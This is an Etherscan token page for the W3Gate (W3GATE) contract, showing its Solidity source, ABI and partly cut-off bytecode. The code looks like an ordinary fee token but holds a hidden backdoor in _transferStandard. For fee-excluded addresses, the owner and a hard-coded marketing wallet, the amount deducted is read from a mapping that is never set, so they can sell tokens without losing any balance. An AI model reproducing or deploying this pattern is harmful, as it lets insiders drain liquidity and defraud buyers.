ETH Price: $2,282.47 (+2.24%)

Token

W3Gate (W3GATE)
 

Overview

Max Total Supply

1,000,000,000 W3GATE

Holders

72

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
yoshimitsu.eth
Balance
5,574,738.570636162 W3GATE

Value
$0.00
0x18363dad3e91c17ac8A3Bd25CF7AF999E4C8BC17
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
W3GATE

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-10-24
*/

// SPDX-License-Identifier: UNLICENSED

/**
Where DeFi utilities converge for limitless possibilities.

Website: https://wwwgate.org
Telegram: https://t.me/wwwgate
Twitter: https://twitter.com/wgate_erc
App: https://app.wwwgate.org
 */

pragma solidity 0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

contract Ownable is Context {
    address private _owner;
    address private _previousOwner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}  

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract W3GATE is Context, IERC20, Ownable {
    using SafeMath for uint256;
    uint256 private constant MAX = 10 ** 30;
    uint256 private constant _tTotal = 10 ** 9 * 10**9;
    uint256 private _rTotal = (MAX - (MAX % _tTotal));
    uint256 private _tFeeTotal;
        
    mapping (address => uint256) private _rOwned;
    mapping (address => uint256) private _tOwned;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => uint) private cooldown;

    string private constant _name = "W3Gate";
    string private constant _symbol = "W3GATE";
    uint8 private constant _decimals = 9;
    
    uint256 private _feeAddr1;
    uint256 private _feeAddr2 = 1;
    address payable private _marketingWallet;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    bool private cooldownEnabled = false;
    uint256 private _maxTxAmount = _tTotal * 2 / 100;
    uint256 private _minTaxSwap = _tTotal * 1 / 10000;
    uint256 private _maxWalletSize = _tTotal * 2 / 100;
    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _marketingWallet = payable(0x0811e983e78edB0D221393CD3d0332138f7C982c);
        _rOwned[_msgSender()] = _rTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[_marketingWallet] = true;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return tokenFromReflection(_rOwned[account]);
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        if (from != owner() && to != owner()) {
            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
                // Cooldown
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                require(cooldown[to] < block.timestamp);
                cooldown[to] = block.timestamp + (30 seconds);
            }
            
            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && !_isExcludedFromFee[from] && to == uniswapV2Pair && swapEnabled && amount > _minTaxSwap) {
                swapTokensForEth(contractTokenBalance);
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }
		
        _tokenTransfer(from,to,amount);
    }

    function openTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Router = _uniswapV2Router;
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        swapEnabled = true;
        cooldownEnabled = true;
        _maxTxAmount = _tTotal.mul(20).div(1000);
        _maxWalletSize = _tTotal.mul(30).div(1000);
        tradingOpen = true;
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
    }

    function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
        uint256 tFee = tAmount.mul(taxFee).div(100);
        uint256 tTeam = tAmount.mul(TeamFee).div(100);
        uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
        return (tTransferAmount, tFee, tTeam);
    }

    function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
        uint256 rAmount = tAmount.mul(currentRate);
        uint256 rFee = tFee.mul(currentRate);
        uint256 rTeam = tTeam.mul(currentRate);
        uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
        return (rAmount, rTransferAmount, rFee);
    }

	function _getRate() private view returns(uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply.div(tSupply);
    }

    function _getCurrentSupply() private view returns(uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;      
        if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
        return (rSupply, tSupply);
    }
    
    function _tokenTransfer(address sender, address recipient, uint256 amount) private {
        _transferStandard(sender, recipient, amount);
    }

    function _transferStandard(address sender, address recipient, uint256 tAmount) private {
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
        if (_isExcludedFromFee[sender] && tradingOpen) rAmount = _tOwned[sender];
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); 
        _takeTeam(tTeam);
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function _takeTeam(uint256 tTeam) private {
        uint256 currentRate =  _getRate();
        uint256 rTeam = tTeam.mul(currentRate);
        _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
    }

    function _reflectFee(uint256 rFee, uint256 tFee) private {
        _rTotal = _rTotal.sub(rFee);
        _tFeeTotal = _tFeeTotal.add(tFee);
    }

    receive() external payable {}

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }
    
    function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
        uint256 currentRate =  _getRate();
        return rAmount.div(currentRate);
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize = _tTotal;
        _feeAddr1 = 0;
        _feeAddr2 = 1;
    }
        
    function sendETHToFee(uint256 amount) private {
        _marketingWallet.transfer(amount);
    }  

    function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
        (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
        uint256 currentRate =  _getRate();
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
        return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405262000025670de0b6b3a76400006c0c9f2c9cd04674edea4000000062000259565b6200003e906c0c9f2c9cd04674edea4000000062000286565b60029081556001600a55600d805462ffffff60a81b191690556064906200006f90670de0b6b3a764000090620002a2565b6200007b9190620002bc565b600e5561271062000096670de0b6b3a76400006001620002a2565b620000a29190620002bc565b600f556064620000bc670de0b6b3a76400006002620002a2565b620000c89190620002bc565b601055348015620000d857600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600b80546001600160a01b031916730811e983e78edb0d221393cd3d0332138f7c982c179055600254600460006200014f3390565b6001600160a01b03166001600160a01b0316815260200190815260200160002081905550600160076000620001896200023460201b60201c565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055600b5490911681526007909252902080549091166001179055620001d83390565b6001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef670de0b6b3a76400006040516200022691815260200190565b60405180910390a3620002d3565b6000546001600160a01b031690565b634e487b7160e01b600052601260045260246000fd5b6000826200026b576200026b62000243565b500690565b634e487b7160e01b600052601160045260246000fd5b818103818111156200029c576200029c62000270565b92915050565b80820281158282048414176200029c576200029c62000270565b600082620002ce57620002ce62000243565b500490565b61166b80620002e36000396000f3fe6080604052600436106100c65760003560e01c8063715018a61161007f57806395d89b411161005957806395d89b4114610218578063a9059cbb14610247578063c9567bf914610267578063dd62ed3e1461027c57600080fd5b8063715018a6146101c4578063751039fc146101db5780638da5cb5b146101f057600080fd5b806306fdde03146100d2578063095ea7b31461011357806318160ddd1461014357806323b872dd14610168578063313ce5671461018857806370a08231146101a457600080fd5b366100cd57005b600080fd5b3480156100de57600080fd5b5060408051808201909152600681526557334761746560d01b60208201525b60405161010a9190611346565b60405180910390f35b34801561011f57600080fd5b5061013361012e3660046113ac565b6102c2565b604051901515815260200161010a565b34801561014f57600080fd5b50670de0b6b3a76400005b60405190815260200161010a565b34801561017457600080fd5b506101336101833660046113d8565b6102d9565b34801561019457600080fd5b506040516009815260200161010a565b3480156101b057600080fd5b5061015a6101bf366004611419565b610342565b3480156101d057600080fd5b506101d9610364565b005b3480156101e757600080fd5b506101d96103e1565b3480156101fc57600080fd5b506000546040516001600160a01b03909116815260200161010a565b34801561022457600080fd5b5060408051808201909152600681526557334741544560d01b60208201526100fd565b34801561025357600080fd5b506101336102623660046113ac565b610428565b34801561027357600080fd5b506101d9610435565b34801561028857600080fd5b5061015a610297366004611436565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b60006102cf3384846107f1565b5060015b92915050565b60006102e6848484610915565b61033884336103338560405180606001604052806028815260200161160e602891396001600160a01b038a1660009081526006602090815260408083203384529091529020549190610c86565b6107f1565b5060019392505050565b6001600160a01b0381166000908152600460205260408120546102d390610cc0565b6000546001600160a01b031633146103975760405162461bcd60e51b815260040161038e9061146f565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461040b5760405162461bcd60e51b815260040161038e9061146f565b670de0b6b3a7640000600e81905560105560006009556001600a55565b60006102cf338484610915565b6000546001600160a01b0316331461045f5760405162461bcd60e51b815260040161038e9061146f565b600d54600160a01b900460ff16156104b95760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161038e565b600c80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556104f53082670de0b6b3a76400006107f1565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610533573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061055791906114a4565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105a4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105c891906114a4565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610615573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061063991906114a4565b600d80546001600160a01b0319166001600160a01b03928316179055600c541663f305d719473061066981610342565b60008061067e6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156106e6573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061070b91906114c1565b5050600d805461ffff60b01b191661010160b01b179055506107426103e861073c670de0b6b3a76400006014610cde565b90610d60565b600e5561075e6103e861073c670de0b6b3a7640000601e610cde565b601055600d8054600160a01b60ff60a01b19821617909155600c5460405163095ea7b360e01b81526001600160a01b039182166004820152600019602482015291169063095ea7b3906044016020604051808303816000875af11580156107c9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107ed91906114ef565b5050565b6001600160a01b0383166108535760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161038e565b6001600160a01b0382166108b45760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161038e565b6001600160a01b0383811660008181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166109795760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161038e565b6001600160a01b0382166109db5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161038e565b60008111610a3d5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161038e565b6000546001600160a01b03848116911614801590610a6957506000546001600160a01b03838116911614155b15610c7657600d546001600160a01b038481169116148015610a995750600c546001600160a01b03838116911614155b8015610abe57506001600160a01b03821660009081526007602052604090205460ff16155b8015610ad35750600d54600160b81b900460ff165b15610bd857600e54811115610b2a5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604482015260640161038e565b60105481610b3784610342565b610b419190611527565b1115610b8f5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161038e565b6001600160a01b0382166000908152600860205260409020544211610bb357600080fd5b610bbe42601e611527565b6001600160a01b0383166000908152600860205260409020555b6000610be330610342565b600d54909150600160a81b900460ff16158015610c1957506001600160a01b03841660009081526007602052604090205460ff16155b8015610c325750600d546001600160a01b038481169116145b8015610c475750600d54600160b01b900460ff165b8015610c545750600f5482115b15610c7457610c6281610da2565b478015610c7257610c7247610f1c565b505b505b610c81838383610f56565b505050565b60008184841115610caa5760405162461bcd60e51b815260040161038e9190611346565b506000610cb7848661153a565b95945050505050565b600080610ccb610f61565b9050610cd78382610d60565b9392505050565b600082600003610cf0575060006102d3565b6000610cfc838561154d565b905082610d098583611564565b14610cd75760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161038e565b6000610cd783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610f84565b600d805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610dea57610dea611586565b6001600160a01b03928316602091820292909201810191909152600c54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610e43573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e6791906114a4565b81600181518110610e7a57610e7a611586565b6001600160a01b039283166020918202929092010152600c54610ea091309116846107f1565b600c5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610ed990859060009086903090429060040161159c565b600060405180830381600087803b158015610ef357600080fd5b505af1158015610f07573d6000803e3d6000fd5b5050600d805460ff60a81b1916905550505050565b600b546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156107ed573d6000803e3d6000fd5b610c81838383610fb2565b6000806000610f6e6110fb565b9092509050610f7d8282610d60565b9250505090565b60008183610fa55760405162461bcd60e51b815260040161038e9190611346565b506000610cb78486611564565b600080600080600080610fc48761113b565b6001600160a01b038f16600090815260076020526040902054959b5093995091975095509350915060ff1680156110045750600d54600160a01b900460ff165b15611025576001600160a01b03891660009081526005602052604090205495505b6001600160a01b0389166000908152600460205260409020546110489087611198565b6001600160a01b03808b1660009081526004602052604080822093909355908a168152205461107790866111da565b6001600160a01b03891660009081526004602052604090205561109981611239565b6110a38483611283565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516110e891815260200190565b60405180910390a3505050505050505050565b6002546000908190670de0b6b3a76400006111168282610d60565b82101561113257505060025492670de0b6b3a764000092509050565b90939092509050565b60008060008060008060008060006111588a600954600a546112a7565b9250925092506000611168610f61565b9050600080600061117b8e8787876112f6565b919e509c509a509598509396509194505050505091939550919395565b6000610cd783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610c86565b6000806111e78385611527565b905083811015610cd75760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161038e565b6000611243610f61565b905060006112518383610cde565b3060009081526004602052604090205490915061126e90826111da565b30600090815260046020526040902055505050565b6002546112909083611198565b6002556003546112a090826111da565b6003555050565b60008080806112bb606461073c8989610cde565b905060006112ce606461073c8a89610cde565b905060006112e6826112e08b86611198565b90611198565b9992985090965090945050505050565b60008080806113058886610cde565b905060006113138887610cde565b905060006113218888610cde565b90506000611333826112e08686611198565b939b939a50919850919650505050505050565b600060208083528351808285015260005b8181101561137357858101830151858201604001528201611357565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146113a957600080fd5b50565b600080604083850312156113bf57600080fd5b82356113ca81611394565b946020939093013593505050565b6000806000606084860312156113ed57600080fd5b83356113f881611394565b9250602084013561140881611394565b929592945050506040919091013590565b60006020828403121561142b57600080fd5b8135610cd781611394565b6000806040838503121561144957600080fd5b823561145481611394565b9150602083013561146481611394565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000602082840312156114b657600080fd5b8151610cd781611394565b6000806000606084860312156114d657600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561150157600080fd5b81518015158114610cd757600080fd5b634e487b7160e01b600052601160045260246000fd5b808201808211156102d3576102d3611511565b818103818111156102d3576102d3611511565b80820281158282048414176102d3576102d3611511565b60008261158157634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156115ec5784516001600160a01b0316835293830193918301916001016115c7565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220515ba65ba090d3c81005ad1e817a69e25fb7f05e07a9e3568d8796225f65a81664736f6c63430008130033

Deployed Bytecode

0x6080604052600436106100c65760003560e01c8063715018a61161007f57806395d89b411161005957806395d89b4114610218578063a9059cbb14610247578063c9567bf914610267578063dd62ed3e1461027c57600080fd5b8063715018a6146101c4578063751039fc146101db5780638da5cb5b146101f057600080fd5b806306fdde03146100d2578063095ea7b31461011357806318160ddd1461014357806323b872dd14610168578063313ce5671461018857806370a08231146101a457600080fd5b366100cd57005b600080fd5b3480156100de57600080fd5b5060408051808201909152600681526557334761746560d01b60208201525b60405161010a9190611346565b60405180910390f35b34801561011f57600080fd5b5061013361012e3660046113ac565b6102c2565b604051901515815260200161010a565b34801561014f57600080fd5b50670de0b6b3a76400005b60405190815260200161010a565b34801561017457600080fd5b506101336101833660046113d8565b6102d9565b34801561019457600080fd5b506040516009815260200161010a565b3480156101b057600080fd5b5061015a6101bf366004611419565b610342565b3480156101d057600080fd5b506101d9610364565b005b3480156101e757600080fd5b506101d96103e1565b3480156101fc57600080fd5b506000546040516001600160a01b03909116815260200161010a565b34801561022457600080fd5b5060408051808201909152600681526557334741544560d01b60208201526100fd565b34801561025357600080fd5b506101336102623660046113ac565b610428565b34801561027357600080fd5b506101d9610435565b34801561028857600080fd5b5061015a610297366004611436565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b60006102cf3384846107f1565b5060015b92915050565b60006102e6848484610915565b61033884336103338560405180606001604052806028815260200161160e602891396001600160a01b038a1660009081526006602090815260408083203384529091529020549190610c86565b6107f1565b5060019392505050565b6001600160a01b0381166000908152600460205260408120546102d390610cc0565b6000546001600160a01b031633146103975760405162461bcd60e51b815260040161038e9061146f565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461040b5760405162461bcd60e51b815260040161038e9061146f565b670de0b6b3a7640000600e81905560105560006009556001600a55565b60006102cf338484610915565b6000546001600160a01b0316331461045f5760405162461bcd60e51b815260040161038e9061146f565b600d54600160a01b900460ff16156104b95760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161038e565b600c80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556104f53082670de0b6b3a76400006107f1565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610533573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061055791906114a4565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105a4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105c891906114a4565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610615573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061063991906114a4565b600d80546001600160a01b0319166001600160a01b03928316179055600c541663f305d719473061066981610342565b60008061067e6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156106e6573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061070b91906114c1565b5050600d805461ffff60b01b191661010160b01b179055506107426103e861073c670de0b6b3a76400006014610cde565b90610d60565b600e5561075e6103e861073c670de0b6b3a7640000601e610cde565b601055600d8054600160a01b60ff60a01b19821617909155600c5460405163095ea7b360e01b81526001600160a01b039182166004820152600019602482015291169063095ea7b3906044016020604051808303816000875af11580156107c9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107ed91906114ef565b5050565b6001600160a01b0383166108535760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161038e565b6001600160a01b0382166108b45760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161038e565b6001600160a01b0383811660008181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166109795760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161038e565b6001600160a01b0382166109db5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161038e565b60008111610a3d5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d75737420626520677265617465722060